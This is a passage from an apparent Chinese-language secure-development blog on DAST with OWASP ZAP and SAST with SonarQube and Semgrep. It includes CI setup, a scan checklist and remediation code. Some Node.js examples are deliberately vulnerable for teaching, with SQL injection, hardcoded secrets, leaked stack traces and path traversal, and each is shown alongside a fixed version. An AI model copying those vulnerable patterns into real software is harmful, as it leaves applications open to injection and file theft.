res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
🟡 Low:Cookie Without Secure Flag
ZAP 發現什麼: Session Cookie 沒有設定 <code>Secure</code> 和 <code>HttpOnly</code> 旗標。
修復方式:
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
secure: true, // 只在 HTTPS 傳送
httpOnly: true, // JavaScript 無法存取
sameSite: 'strict', // 防止 CSRF
maxAge: 3600000 // 1 小時過期
}
}));
🔵 Informational:Application Error Disclosure
ZAP 發現什麼: 錯誤頁面暴露了框架版本、堆疊追蹤等內部資訊。
修復方式:
// ✅ 自訂錯誤處理,不洩漏內部資訊
app.use((err, req, res, next) => {
// 記錄完整錯誤到日誌(內部使用)
logger.error('Application Error', {
error: err.message,
stack: err.stack
});
// 回傳給使用者的只有通用訊息
res.status(500).json({
error: '系統處理時發生錯誤,請稍後再試'
});
});
// ✅ 在 Express 中隱藏框架資訊
app.disable('x-powered-by');
處理誤報(False Positives)
ZAP 不是完美的,它有時候會報告「假警報」。處理誤報的步驟:
- 手動驗證:對 ZAP 標記的漏洞,嘗試手動重現攻擊
- 分析上下文:看看這個 Alert 在你的系統中是否真的構成風險
- 標記為誤報:在 ZAP 中將確認的誤報標記為「False Positive」,避免下次重複出現
- 記錄原因:記下為什麼判定為誤報,方便團隊日後參考
產出掃描報告:給團隊和主管看的安全報告
從 ZAP 桌面版匯出報告
在 ZAP 中,選擇「Report」→「Generate Report」:
| 報告格式 | 適用對象 | 說明 |
|---|---|---|
| HTML | 團隊內部分享 | 最直觀,可在瀏覽器開啟 |
| JSON | 自動化處理 | 適合程式解析、整合到其他系統 |
| XML | 合規稽核 | 標準格式,適合提交給稽核單位 |
| Markdown | 文件紀錄 | 可直接放進 Git 做版本控制 |
從 Docker 版產出報告
# Baseline Scan(被動掃描,適合 CI/CD)
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
zap-baseline.py \
-t http://your-staging-site.com \
-r baseline-report.html
# Full Scan(完整掃描,含主動攻擊)
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
zap-full-scan.py \
-t http://your-staging-site.com \
-r full-scan-report.html
# API Scan(API 專用掃描)
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
zap-api-scan.py \
-t http://your-staging-site.com/swagger.json \
-f openapi \
-r api-report.html
飛飛觀點:
報告不是掃完就丟的。好的做法是每次掃描完,把報告存進 Git,追蹤漏洞數量的趨勢變化。如果 High 和 Medium 的數量持續下降,就代表你們的安全做得越來越好——這就是用數據證明安全投資的價值。
自動化掃描:把 ZAP 整合進 CI/CD Pipeline
手動掃描很好,但我們的目標是讓安全檢查自動化——每次部署前自動跑掃描,發現問題就阻擋部署。
GitHub Actions 整合範例
name: DAST Security Scan
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
dast-scan:
runs-on: ubuntu-latest
services:
# 啟動你的應用程式
webapp:
image: your-app:latest
ports:
- 3000:3000
steps:
- name: Checkout
uses: actions/checkout@v4
# 等待應用程式啟動
- name: Wait for app
run: |
for i in $(seq 1 30); do
curl -s http://localhost:3000 && break
echo "Waiting for app to start... ($i/30)"
sleep 2
done
# ZAP Baseline Scan(被動掃描,速度快)
- name: ZAP Baseline Scan
uses: zaproxy/action-baseline@v0.14.0
with:
target: 'http://localhost:3000'
rules_file_name: '.zap/rules.tsv'
cmd_options: '-a'
# 上傳掃描報告
- name: Upload Report
if: always()
uses: actions/upload-artifact@v4
with:
name: zap-report
path: report_html.html
自訂掃描規則:控制哪些 Alert 該擋、哪些該放
建立 <code>.zap/rules.tsv</code> 檔案,定義每條規則的處理方式:
10011 IGNORE (Cookie Without Secure Flag - 開發環境可忽略)
10015 IGNORE (Incomplete or No Cache-control - 非安全關鍵)
10021 WARN (X-Content-Type-Options Header Missing)
10038 WARN (Content Security Policy Header Not Set)
40012 FAIL (Cross Site Scripting - Reflected - 必須阻擋)
40014 FAIL (Cross Site Scripting - Persistent - 必須阻擋)
40018 FAIL (SQL Injection - 必須阻擋)
90022 FAIL (Application Error Disclosure - 不應洩漏資訊)
- FAIL:發現就阻擋部署(Pipeline 失敗)
- WARN:發出警告但不阻擋
- IGNORE:完全忽略(確認的誤報或可接受的風險)
ZAP Automation Framework:進階自動化
ZAP 的 Automation Framework 是官方推薦的自動化方式,用一個 YAML 檔案控制所有掃描行為:
# zap-automation.yaml
env:
contexts:
- name: "My App"
urls:
- "http://localhost:3000"
includePaths:
- "http://localhost:3000.*"
excludePaths:
- "http://localhost:3000/logout"
jobs:
# Step 1: 被動掃描規則設定
- type: passiveScan-config
parameters:
maxAlertsPerRule: 10
scanOnlyInScope: true
# Step 2: 爬蟲探索
- type: spider
parameters:
context: "My App"
maxDuration: 5 # 最多跑 5 分鐘
# Step 3: 等待被動掃描完成
- type: passiveScan-wait
parameters:
maxDuration: 10
# Step 4: 主動掃描
- type: activeScan
parameters:
context: "My App"
maxRuleDurationInMins: 5
maxScanDurationInMins: 30
# Step 5: 產出報告
- type: report
parameters:
template: "traditional-html"
reportDir: "/zap/wrk/"
reportFile: "zap-report.html"
risks:
- high
- medium
- low
用 Docker 執行:
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
zap.sh -cmd -autorun /zap/wrk/zap-automation.yaml
實戰案例:台灣電商平台的 DAST 掃描流程
場景
你的團隊正在為一家台灣電商平台的會員系統做上線前的安全驗證。系統使用 Node.js + Express + PostgreSQL,功能包含會員註冊、登入、商品瀏覽、購物車、結帳。
Step 1:規劃掃描範圍
## DAST 掃描計畫
### 掃描目標
- 測試環境:https://staging.your-ecommerce.com.tw
- 掃描時間:週末凌晨(避免影響測試環境使用者)
- 掃描工具:OWASP ZAP 2.17.0(Docker 版)
### 掃描範圍
✅ 包含:
- 會員註冊/登入/登出
- 商品搜尋與瀏覽
- 購物車操作
- 結帳流程(測試用信用卡)
- 會員資料修改
- API 端點(/api/v1/*)
❌ 排除:
- 第三方金流回呼(避免影響金流服務商)
- /admin/* 管理後台(另案處理)
- /healthcheck(監控端點)
### 掃描模式
1. Spider + Passive Scan(第一輪)
2. Active Scan(第二輪,針對高風險功能)
3. API Scan(針對 Swagger 定義的 API)
Step 2:執行掃描並記錄發現
假設掃描後得到以下結果:
| 風險等級 | 數量 | 關鍵發現 |
|---|---|---|
| 🔴 High | 2 | SQL Injection(商品搜尋)、Reflected XSS(會員暱稱) |
| 🟠 Medium | 5 | 缺少 CSP 標頭、CORS 設定過於寬鬆、Session Cookie 未設 SameSite |
| 🟡 Low | 8 | X-Powered-By 洩漏框架資訊、Cookie 缺少 Secure flag |
| 🔵 Info | 12 | 各項資訊性發現 |
Step 3:建立修復追蹤表
| 編號 | 風險等級 | 漏洞類型 | 影響範圍 | 負責人 | 修復期限 | 狀態 |
|------|---------|---------|---------|--------|---------|------|
| V-001 | High | SQL Injection | 商品搜尋 API | 後端工程師 A | 3 天內 | 🔧 修復中 |
| V-002 | High | Reflected XSS | 會員暱稱顯示 | 前端工程師 B | 3 天內 | 🔧 修復中 |
| V-003 | Medium | Missing CSP | 全站 | DevOps C | 1 週內 | ⏳ 待處理 |
| V-004 | Medium | CORS 過寬 | API 端點 | 後端工程師 A | 1 週內 | ⏳ 待處理 |
Step 4:修復後重新掃描
修復完成後,一定要重新掃描,確認漏洞確實被修復了。這就像修完水管後要重新開水測試一樣。
# 修復後的驗證掃描
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
zap-baseline.py \
-t https://staging.your-ecommerce.com.tw \
-r verification-scan-report.html
DAST 掃描 Checklist:團隊可直接使用
## DAST 掃描 Checklist
### 掃描前
- [ ] 已取得目標系統的掃描授權
- [ ] 掃描目標為測試/Staging 環境(非生產環境)
- [ ] 已確認掃描範圍(包含/排除的 URL)
- [ ] 已通知相關團隊掃描時程
- [ ] 測試資料已準備好(測試帳號、測試信用卡等)
### 掃描中
- [ ] Spider 探索完成,確認覆蓋率
- [ ] Passive Scan 完成,初步檢視結果
- [ ] Active Scan 完成(注意是否影響目標系統效能)
- [ ] API Scan 完成(如有 Swagger/OpenAPI 定義)
### 掃描後
- [ ] 匯出掃描報告(HTML + JSON)
- [ ] 逐一檢視 High 和 Medium 的 Alert
- [ ] 排除誤報(False Positive),記錄判斷原因
- [ ] 建立漏洞修復追蹤表
- [ ] 將報告存入版本控制(Git)
- [ ] 通知開發團隊修復發現的漏洞
- [ ] 排定修復後的驗證掃描時間
團隊落地建議:讓 DAST 變成日常
建議一:分階段導入,別一次到位
| 階段 | 做什麼 | 工具設定 |
|---|---|---|
| Week 1-2 | 手動在 Staging 環境跑 ZAP Baseline Scan | ZAP 桌面版 |
| Week 3-4 | 把 Baseline Scan 加入 CI/CD | GitHub Actions + ZAP Docker |
| Month 2 | 加入 Active Scan(僅限 Staging) | ZAP Automation Framework |
| Month 3 | 建立自訂規則和誤報管理流程 | rules.tsv + 漏洞追蹤表 |
| 持續 | 每季做一次完整的手動滲透測試 | ZAP + 專業資安團隊 |
建議二:從 Baseline Scan 開始,不要一開始就跑 Full Scan
Baseline Scan 只做被動掃描,速度快(通常幾分鐘內完成)、風險低(不會對目標系統造成影響),非常適合放在每次 PR 或部署前自動執行。
Full Scan 和 Active Scan 因為會實際發動攻擊,建議:
- 只在 Staging 環境 執行
- 安排在 非尖峰時段 執行
- 第一次跑的時候 有人監控 系統狀態
建議三:把 DAST 結果和 SAST 結果關聯起來
當 ZAP 發現一個 SQL Injection 漏洞時,對應回去看 SAST 工具有沒有在同一個位置標記問題。如果 SAST 沒抓到但 DAST 抓到了,代表你的 SAST 規則可能需要調整。反之亦然。
| 情境 | 代表的意義 | 行動 |
|---|---|---|
| SAST ✅ DAST ✅ | 兩者都找到,很好 | 修復漏洞 |
| SAST ❌ DAST ✅ | SAST 漏掉了 | 修復漏洞 + 調整 SAST 規則 |
| SAST ✅ DAST ❌ | 可能是 SAST 誤報 | 手動驗證 |
| SAST ❌ DAST ❌ | 沒問題…或兩個都漏掉了 | 考慮搭配滲透測試 |
建議四:建立「安全品質門檻」
在 CI/CD Pipeline 中設定明確的門檻——什麼等級的漏洞會阻擋部署:
# 安全品質門檻定義
security_gate:
block_deployment:
- high_risk_count > 0 # 有任何 High 風險就擋
- medium_risk_count > 5 # Medium 超過 5 個就擋
warn_only:
- low_risk_count > 20 # Low 超過 20 個發警告
- new_alerts > 0 # 有任何新發現就通知
常見問題 FAQ
Q1:ZAP 掃描要跑多久?會不會影響系統效能?
Baseline Scan(被動掃描)通常幾分鐘內完成,對系統效能影響很小。Full Scan(含主動掃描)時間取決於網站大小,小型網站可能 30 分鐘到 1 小時,大型網站可能需要數小時。主動掃描會產生大量請求,建議在 Staging 環境執行,並在非尖峰時段進行。
Q2:ZAP 跟 Burp Suite 比,該選哪個?
ZAP 是開源免費的,功能已經非常強大,對於大部分團隊來說綽綽有餘。Burp Suite Professional 是付費工具(年費約 USD $449),在某些進階功能上更強(如更好的爬蟲引擎、Intruder 模組)。如果你是資安新手或預算有限,從 ZAP 開始絕對沒問題。如果團隊有專職的滲透測試人員,可以考慮 Burp Suite Professional 作為進階工具。
Q3:ZAP 掃不到某些頁面怎麼辦?
ZAP 的 Spider 有時候無法探索到需要登入才能看到的頁面,或是前端框架(如 React、Vue)動態生成的內容。解決方案:
- 登入問題:使用 ZAP 的 Authentication 設定,讓 ZAP 能自動登入
- 前端框架問題:使用 ZAP 2.16.0+ 的 Client Spider,它能更好地處理 JavaScript 驅動的頁面
- 手動探索:先手動瀏覽網站(透過 ZAP Proxy),讓 ZAP 記錄所有頁面,再執行主動掃描
Q4:掃描結果一大堆 Alert,怎麼分辨哪些是真的、哪些是誤報?
先從 High 風險開始看,數量通常不多。對每個 High Alert,用 ZAP 的「Resend」功能手動重送攻擊請求,看看回應是否真的表示漏洞存在。如果你不確定,可以請教資安同事或在 OWASP 社群發問。Medium 和 Low 的 Alert 可以先建立一份清單,逐步處理。
Q5:我的團隊只有開發人員,沒有資安專家,適合用 ZAP 嗎?
完全適合。ZAP 的設計目標之一就是讓開發人員也能做基本的安全測試。Baseline Scan 幾乎不需要安全知識就能執行和解讀結果。隨著團隊經驗累積,可以慢慢學習 Active Scan 和更進階的功能。記住,有做總比沒做好——就算只是跑一次 Baseline Scan,你已經比大多數團隊做得多了。
結語:安全測試不是找碴,而是找到讓系統更強的機會
很多開發者聽到「安全掃描」會緊張,覺得好像是要來挑自己程式碼的毛病。但換個角度想——DAST 就像你的系統的「健康檢查」。你不會因為醫生發現你膽固醇偏高就生醫生的氣,反而會感謝他提早發現問題,讓你有機會調整。
OWASP ZAP 就是你的系統醫生。它免費、開源、社群活躍,從個人專案到企業級應用都能勝任。
回到蓋房子的比喻——你的房子蓋好了,安裝了防盜門、監視器、消防設備。但你得真正測試一下這些設備有沒有用。DAST 就是幫你做這件事的。
安全不是恐懼,而是創造的基礎。
當你知道系統經過了真實的攻擊測試,你就能更有信心地面對使用者——因為你知道,你的房子不只看起來安全,而是真的安全。
延伸閱讀
[安全測試] 001 SAST 靜態分析入門:讓工具幫你審程式碼——SonarQube、Semgrep 工具使用與 IDE 整合實戰
「人的眼睛會累、會遺漏,但工具不會。
靜態分析不是取代 Code Review,而是幫你在 Review 之前,先過濾掉那些不該犯的錯。」
— SSDLC by 飛飛
一、SAST 是什麼?為什麼它是你的「自動驗屋師」?
在 SSDLC 的蓋房子旅程中,我們已經走過了安全需求定義(確認要防什麼)、安全設計(畫好藍圖、標好消防通道)、安全實作(用防火建材施工、學會輸入驗證與輸出編碼、熟悉 OWASP Top 10)。
現在,我們來到了階段四:安全驗證(Verification)——房子蓋好了,要請結構技師來檢查。
想像你花了半年蓋好一棟房子。交屋前,你會做什麼?當然是請專業的驗屋師來檢查——看看牆壁有沒有裂縫、水管有沒有漏水、電線有沒有接錯。你不會等住進去之後才發現問題,對吧?
SAST(Static Application Security Testing,靜態應用程式安全測試)就是軟體世界的「自動驗屋師」。 它不需要把程式跑起來,直接看你的原始碼,找出裡面潛藏的安全漏洞。
跟動態測試(DAST)不同的是——DAST 是把系統跑起來然後從外面攻擊它(像小偷試著破門而入),而 SAST 是打開牆壁看裡面的結構(像 X 光檢查)。兩者互補,但 SAST 的最大優勢是:你可以在程式碼還沒部署之前就抓到問題。
| 比較項目 | SAST(靜態分析) | DAST(動態分析) |
|---|---|---|
| 比喻 | X 光檢查建築結構 | 派小偷來試著破門而入 |
| 檢查時機 | 寫程式時 / CI/CD 階段 | 系統部署後 |
| 需要執行程式嗎? | 不需要 | 需要 |
| 能看到原始碼嗎? | 能(白箱) | 不能(黑箱) |
| 擅長找什麼? | SQL Injection、XSS、硬編碼金鑰、不安全的函式呼叫 | 認證問題、設定錯誤、運行時漏洞 |
| 誤報率 | 偏高(但可調整) | 偏低 |
| 修復成本 | 低(問題還在開發者手上) | 高(可能要改架構) |
飛飛觀點:
我常跟團隊說,SAST 就像開車上路前的車輛檢查。你不會等車子在高速公路上拋錨才想到要檢查煞車吧?SAST 讓你在程式碼還在「車庫」的時候就把問題抓出來——修起來又快又便宜。
二、SAST 能幫你找到什麼?常見漏洞全覽
很多開發者聽到「靜態分析」,第一反應是:「不就是 Lint 嗎?ESLint 我早就在用了。」
ESLint 確實是靜態分析的一種,但它主要關注的是程式碼風格和基本錯誤。安全導向的 SAST 工具關注的是完全不同的維度——它們在找的是可以被攻擊者利用的漏洞。
以下是 SAST 工具常見的檢測類別,對應到我們之前學過的 OWASP Top 10:
| 漏洞類別 | SAST 能偵測的範例 | 對應 OWASP Top 10 |
|---|---|---|
| 注入攻擊 | SQL 字串拼接、Command Injection | A05: Injection |
| 跨站腳本 | 未編碼的使用者輸入直接輸出到 HTML | A05: Injection |
| 硬編碼機敏資料 | 密碼、API Key 直接寫在程式碼裡 | A04: Cryptographic Failures |
| 不安全的加密 | 使用 MD5/SHA1 雜湊密碼、弱加密演算法 | A04: Cryptographic Failures |
| 路徑穿越 | 使用者輸入直接拼接檔案路徑 | A01: Broken Access Control |
| 不安全的反序列化 | 直接反序列化不受信任的資料 | A08: Software or Data Integrity |
| 不安全的正規表達式 | ReDoS(正規表達式阻斷服務)風險 | A10: Mishandling of Exceptional Conditions |
| 缺少安全標頭 | 未設定 CORS、CSP 等安全標頭 | A02: Security Misconfiguration |
讓我們看一個真實的例子。以下這段 Node.js 程式碼,你能看出幾個問題?
// ❌ 這段程式碼有多少安全問題?
const express = require('express');
const mysql = require('mysql');
const app = express();
const DB_PASSWORD = 'MyS3cretP@ss!'; // 問題 1
app.get('/user', (req, res) => {
const userId = req.query.id;
const query = <code>SELECT * FROM users WHERE id = '${userId}'</code>; // 問題 2
connection.query(query, (err, results) => {
if (err) {
res.status(500).send(<code class="kb-btn">Error: ${err.message}</code>); // 問題 3
return;
}
res.send(results); // 問題 4
});
});
人工 Code Review 可能會漏掉一兩個,但 SAST 工具會一次全部標出來:
- 硬編碼密碼(<code>DB_PASSWORD</code> 直接寫在程式碼裡)
- SQL Injection(字串拼接組合 SQL 查詢)
- 錯誤資訊洩露(把資料庫錯誤訊息直接回傳給使用者)
- 過度資料暴露(回傳整個 <code>results</code> 物件,可能包含敏感欄位)
這就是 SAST 的價值——它不會累、不會忘記、不會因為趕 deadline 就放水。
三、工具選擇:SonarQube vs. Semgrep
市面上 SAST 工具百百種,但對於台灣的中小型開發團隊來說,有兩個工具特別值得認識:SonarQube 和 Semgrep。它們各有特色,適合不同的使用情境。
3.1 SonarQube:程式碼品質與安全的「全科醫生」
SonarQube 就像一位全科醫生——不只看安全漏洞,還會幫你檢查程式碼品質、重複程式碼、測試覆蓋率等整體健康狀況。
特色:
- 支援 30+ 種程式語言
- 提供 Web 介面的儀表板,視覺化呈現程式碼健康狀況
- 內建「品質門檻(Quality Gate)」機制,可以自動阻擋不達標的程式碼
- Community Build 版本免費,適合中小團隊入門
- 支援 IDE 外掛(SonarQube for IDE,支援 VS Code、JetBrains、Cursor 等)
適合場景:
- 想要一個「一站式」的程式碼品質管理平台
- 團隊有自己的伺服器或 Docker 環境可以部署
- 需要追蹤長期的程式碼品質趨勢
快速啟動(Docker):
# 使用 Docker 快速啟動 SonarQube Community Build
docker run -d --name sonarqube \
-p 9000:9000 \
sonarqube:community
# 啟動後開啟瀏覽器 http://localhost:9000
# 預設帳號密碼:admin / admin(首次登入會要求修改)
在 Node.js 專案中使用 SonarQube Scanner:
# 安裝 SonarQube Scanner
npm install -D sonarqube-scanner
// sonar-project.js — SonarQube 掃描設定
const sonarqubeScanner = require('sonarqube-scanner').default;
sonarqubeScanner(
{
serverUrl: 'http://localhost:9000',
token: process.env.SONAR_TOKEN, // 從環境變數讀取 Token
options: {
'sonar.projectKey': 'my-nodejs-app',
'sonar.projectName': 'My Node.js App',
'sonar.sources': 'src',
'sonar.tests': 'tests',
'sonar.javascript.lcov.reportPaths': 'coverage/lcov.info',
'sonar.exclusions': 'node_modules/**,coverage/**,dist/**',
},
},
() => process.exit()
);
// package.json — 加入掃描指令
{
"scripts": {
"sonar": "node sonar-project.js",
"test:coverage": "jest --coverage",
"security:scan": "npm run test:coverage && npm run sonar"
}
}
3.2 Semgrep:輕量、快速的「安全專科醫生」
如果 SonarQube 是全科醫生,Semgrep 就是安全專科醫生——它更專注在安全漏洞的偵測,而且規則的撰寫方式非常直覺,就像在寫程式碼一樣。
特色:
- 開源免費(Community Edition),商業版提供 AI 輔助分類
- 規則語法像程式碼,開發者容易理解和自訂
- 不需要編譯,掃描速度極快
- 內建 OWASP Top 10、CWE Top 25 等規則集
- 支援 30+ 種程式語言
- 2025 年入選 Gartner Magic Quadrant for Application Security Testing
適合場景:
- 想要快速在 CI/CD 中加入安全掃描
- 團隊偏好命令列工具,不想架設額外伺服器
- 需要自訂安全規則來符合公司特殊需求
- 想要針對 OWASP Top 10 做專項掃描
快速啟動:
# 安裝 Semgrep(需要 Python 3.8+)
pip install semgrep
# 或使用 Homebrew(macOS)
brew install semgrep
# 用 OWASP Top 10 規則掃描目前的專案
semgrep --config p/owasp-top-ten .
# 用 Node.js 安全規則掃描
semgrep --config p/nodejs .
# 同時使用多個規則集
semgrep --config p/owasp-top-ten --config p/nodejs --config p/secrets .
Semgrep 規則長什麼樣?
這是 Semgrep 最酷的地方——它的規則長得就像程式碼:
# custom-rules/no-sql-string-concat.yml
rules:
- id: sql-string-concatenation
patterns:
- pattern: |
$QUERY = <code>...${$USER_INPUT}...</code>
- pattern-not: |
$QUERY = <code>...${$SAFE_VALUE}...</code>
message: |
偵測到 SQL 字串拼接,可能導致 SQL Injection。
請使用參數化查詢(Parameterized Query)代替。
languages: [javascript, typescript]
severity: ERROR
metadata:
owasp: A05:2025 Injection
cwe: CWE-89
fix: 使用 $1 placeholder 和參數陣列
# 使用自訂規則掃描
semgrep --config custom-rules/ .
3.3 SonarQube vs. Semgrep:怎麼選?
| 比較維度 | SonarQube Community Build | Semgrep Community Edition |
|---|---|---|
| 主要用途 | 程式碼品質 + 安全 | 專注安全掃描 |
| 部署方式 | 需要伺服器(Docker/實體機) | 命令列工具,免部署 |
| Web 介面 | 有(功能完整的儀表板) | 有(Semgrep Cloud,可選用) |
| 自訂規則 | 較複雜(Java 撰寫或 XML 設定) | 簡單直覺(YAML,像寫程式碼) |
| 掃描速度 | 中等(需建立索引) | 快(不需編譯) |
| CI/CD 整合 | 需要額外設定 Scanner | 原生支援,一行指令搞定 |
| 品質門檻 | 內建(Quality Gate) | 需自行設定(exit code) |
| 適合團隊 | 中大型、有 DevOps 資源 | 任何規模、快速導入 |
| 費用 | Community Build 免費 | Community Edition 免費 |
飛飛觀點:
我的建議是:先用 Semgrep 快速上手,再用 SonarQube 做長期管理。Semgrep 可以在五分鐘內跑完第一次掃描,讓團隊立刻看到效果;SonarQube 則適合建立長期的品質追蹤機制。兩者不衝突,很多團隊會同時使用——Semgrep 在 PR 階段即時回饋,SonarQube 在後台追蹤整體趨勢。
四、實戰演練:從零開始掃描你的 Node.js 專案
讓我們用一個台灣電商系統的情境,從頭到尾走一遍 SAST 的流程。
4.1 準備一個有漏洞的範例專案
假設你正在開發一個台灣電商平台的會員系統,以下是幾個有安全問題的檔案:
// src/controllers/userController.js — 有多個安全問題的範例
const db = require('../db');
const jwt = require('jsonwebtoken');
const JWT_SECRET = 'feifei-super-secret-key-2025'; // 🚨 硬編碼金鑰
// 會員登入
async function login(req, res) {
const { email, password } = req.body;
// 🚨 SQL Injection
const query = <code>SELECT * FROM users WHERE email = '${email}' AND password = '${password}'</code>;
const user = await db.query(query);
if (user.length === 0) {
return res.status(401).json({ error: '帳號或密碼錯誤' });
}
const token = jwt.sign({ userId: user[0].id, role: user[0].role }, JWT_SECRET);
res.json({ token, user: user[0] }); // 🚨 回傳整個 user 物件(含密碼)
}
// 查詢會員資料
async function getUser(req, res) {
const userId = req.params.id; // 🚨 沒有驗證 userId 是否為數字
try {
const user = await db.query(<code class="kb-btn">SELECT * FROM users WHERE id = ${userId}</code>);
res.json(user[0]);
} catch (err) {
res.status(500).json({ error: err.message, stack: err.stack }); // 🚨 洩露錯誤堆疊
}
}
// 檔案下載
async function downloadInvoice(req, res) {
const filename = req.query.file;
const filepath = <code class="kb-btn">./invoices/${filename}</code>; // 🚨 Path Traversal
res.sendFile(filepath);
}
module.exports = { login, getUser, downloadInvoice };
4.2 用 Semgrep 掃描
# 第一步:安裝 Semgrep
pip install semgrep --break-system-packages
# 第二步:用 OWASP Top 10 規則掃描
semgrep --config p/owasp-top-ten --config p/nodejs src/
# 輸出結果範例(簡化版):
# ┌──────────────────────────────────────────────────────────┐
# │ Findings │
# ├──────────────────────────────────────────────────────────┤
# │ src/controllers/userController.js │
# │ │
# │ ❌ javascript.lang.security.audit.sqli.node-sqli │
# │ line 12: SQL injection risk from string concatenation │
# │ Severity: ERROR │
# │ │
# │ ❌ javascript.lang.security.hardcoded-secret │
# │ line 4: Hardcoded JWT secret detected │
# │ Severity: WARNING │
# │ │
# │ ❌ javascript.express.security.audit.path-traversal │
# │ line 32: Path traversal vulnerability │
# │ Severity: ERROR │
# │ │
# │ ❌ javascript.lang.security.audit.error-disclosure │
# │ line 27: Stack trace exposed to client │
# │ Severity: WARNING │
# └──────────────────────────────────────────────────────────┘
# 4 findings in 1 file
4.3 用 SonarQube 掃描
# 第一步:啟動 SonarQube(如果還沒啟動)
docker run -d --name sonarqube -p 9000:9000 sonarqube:community
# 第二步:等待啟動完成後,在 Web 介面建立專案
# 開啟 http://localhost:9000
# 建立新專案 → 取得 Token
# 第三步:使用 sonar-scanner 掃描
npx sonarqube-scanner \
-Dsonar.projectKey=taiwan-ecommerce \
-Dsonar.sources=src \
-Dsonar.host.url=http://localhost:9000 \
-Dsonar.token=你的Token
掃描完成後,打開 SonarQube 的 Web 介面,你會看到一個清楚的儀表板,顯示:
- Bugs:程式碼中的錯誤
- Vulnerabilities:安全漏洞
- Security Hotspots:需要人工確認的安全敏感程式碼
- Code Smells:影響可維護性的程式碼問題
- Coverage:測試覆蓋率
4.4 修復漏洞
根據掃描結果,讓我們修復上面的程式碼:
// src/controllers/userController.js — 修復後的安全版本
const db = require('../db');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const { param, body, query, validationResult } = require('express-validator');
// ✅ 從環境變數讀取金鑰
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET || JWT_SECRET.length < 32) {
throw new Error('JWT_SECRET 未設定或長度不足');
}
// ✅ 會員登入(修復版)
async function login(req, res) {
const { email, password } = req.body;
// ✅ 使用參數化查詢
const user = await db.query(
'SELECT id, email, password_hash, role FROM users WHERE email = $1',
[email]
);
if (user.length === 0) {
return res.status(401).json({ error: '帳號或密碼錯誤' });
}
// ✅ 使用 bcrypt 比對密碼雜湊
const isValid = await bcrypt.compare(password, user[0].password_hash);
if (!isValid) {
return res.status(401).json({ error: '帳號或密碼錯誤' });
}
const token = jwt.sign(
{ userId: user[0].id, role: user[0].role },
JWT_SECRET,
{ expiresIn: '1h' } // ✅ 設定 Token 過期時間
);
// ✅ 只回傳必要欄位,不回傳密碼
res.json({ token, user: { id: user[0].id, email: user[0].email } });
}
// ✅ 查詢會員資料(修復版)
const getUserValidation = [
param('id').isInt({ min: 1 }).withMessage('無效的使用者 ID')
];
async function getUser(req, res) {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ error: '參數驗證失敗' });
}
const userId = parseInt(req.params.id, 10);
try {
// ✅ 參數化查詢 + 只選取必要欄位
const user = await db.query(
'SELECT id, email, name, created_at FROM users WHERE id = $1',
[userId]
);
if (user.length === 0) {
return res.status(404).json({ error: '查無此使用者' });
}
res.json(user[0]);
} catch (err) {
// ✅ 不洩露系統內部資訊
console.error('Database error:', err); // 記錄到伺服器日誌
res.status(500).json({ error: '系統處理時發生錯誤,請稍後再試' });
}
}
// ✅ 檔案下載(修復版)
const path = require('path');
const INVOICE_DIR = path.resolve('./invoices');
async function downloadInvoice(req, res) {
const filename = req.query.file;
// ✅ 白名單驗證檔名格式(只允許特定格式)
if (!/^INV-\d{8}-\d{4}\.pdf$/.test(filename)) {
return res.status(400).json({ error: '無效的發票檔名格式' });
}
// ✅ 防止 Path Traversal
const filepath = path.join(INVOICE_DIR, filename);
const resolvedPath = path.resolve(filepath);
if (!resolvedPath.startsWith(INVOICE_DIR)) {
return res.status(403).json({ error: '存取被拒絕' });
}
res.sendFile(resolvedPath);
}
module.exports = { login, getUser, getUserValidation, downloadInvoice };
修復完成後再跑一次掃描,確認所有問題都已解決。這就是 SAST 的工作流:掃描 → 修復 → 再掃描 → 確認乾淨。
五、整合 IDE:在寫程式的當下就抓到漏洞
等到 CI/CD 才發現問題,雖然比上線後才發現好很多,但還是要回頭改。最理想的情況是——你在寫程式的當下,IDE 就直接告訴你這行有問題。
就像蓋房子時,如果工人手邊有一台即時檢測儀,每放一塊磚就能知道角度對不對、強度夠不夠,那品質一定比事後全部檢查來得好。
5.1 VS Code + Semgrep 整合
# 方法一:從 VS Code 擴充功能市集安裝
# 搜尋 "Semgrep" → 安裝官方擴充功能
# 方法二:命令列安裝
code --install-extension semgrep.semgrep
安裝後,Semgrep 會在你儲存檔案時自動掃描,直接在程式碼中標示問題:
- 🔴 紅色波浪線:嚴重安全漏洞(如 SQL Injection)
- 🟡 黃色波浪線:安全警告(如硬編碼金鑰)
- 💡 燈泡圖示:提供修復建議
你可以在 <code>.semgrepconfig.yml</code> 中設定預設規則:
# .semgrepconfig.yml — 專案根目錄
rules:
- p/owasp-top-ten
- p/nodejs
- p/secrets
5.2 VS Code + SonarQube for IDE(原 SonarLint)
# 從 VS Code 擴充功能市集安裝
# 搜尋 "SonarQube for IDE" → 安裝官方擴充功能
SonarQube for IDE 可以獨立運行,也可以連接到你的 SonarQube Server(Connected Mode),確保 IDE 中的規則和 CI/CD 中的規則一致。
Connected Mode 設定(settings.json):
{
"sonarlint.connectedMode.connections.sonarqube": [
{
"serverUrl": "http://localhost:9000",
"token": "${env:SONAR_TOKEN}"
}
],
"sonarlint.connectedMode.project": {
"connectionId": "localhost",
"projectKey": "taiwan-ecommerce"
}
}
5.3 JetBrains IDE(WebStorm/IntelliJ)整合
如果你的團隊使用 JetBrains 系列的 IDE:
- SonarQube for IDE:直接從 Plugin Marketplace 搜尋安裝
- Semgrep:同樣從 Plugin Marketplace 安裝
飛飛觀點:
